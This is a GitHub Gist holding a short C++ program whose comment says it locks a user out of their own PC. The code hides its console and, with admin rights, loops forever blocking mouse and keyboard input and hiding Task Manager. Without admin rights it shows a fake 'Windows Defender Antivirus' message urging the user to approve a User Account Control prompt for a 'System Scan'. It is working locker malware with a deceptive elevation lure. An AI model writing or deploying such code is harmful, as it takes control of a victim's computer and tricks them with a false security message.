Last active
August 1, 2018 19:28
-
-
Save quantumcore/aa699e143e95776f7683c42147827f74 to your computer and use it in GitHub Desktop.
[C++] Block Inputs and Kill Task Manager.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
C++ Code to Lock user out of his own PC. | |
Block Mouse and Keyboard. | |
Task Manager cannot be opened. | |
Please do not add persistence. :) | |
*/ | |
#include "stdafx.h" | |
#include <Windows.h> | |
#include <ShlObj.h> | |
int main() | |
{ | |
FreeConsole(); | |
HWND wind; | |
wind = FindWindowA("Task Manager", NULL); | |
ShowWindow(wind, NULL); | |
if (IsUserAnAdmin()) { | |
while (true) { | |
BlockInput(true); | |
HWND task; | |
task = FindWindowA(NULL, "Task Manager"); | |
ShowWindow(task, 0); | |
Sleep(200); | |
} | |
} | |
else { | |
MessageBoxA(NULL, "Please run as Administrator. System Scan required. Press OK and Click YES on User Account Control.", "Windows Defender Antivirus", NULL); | |
system("yourapp.exe"); // Edit this. | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment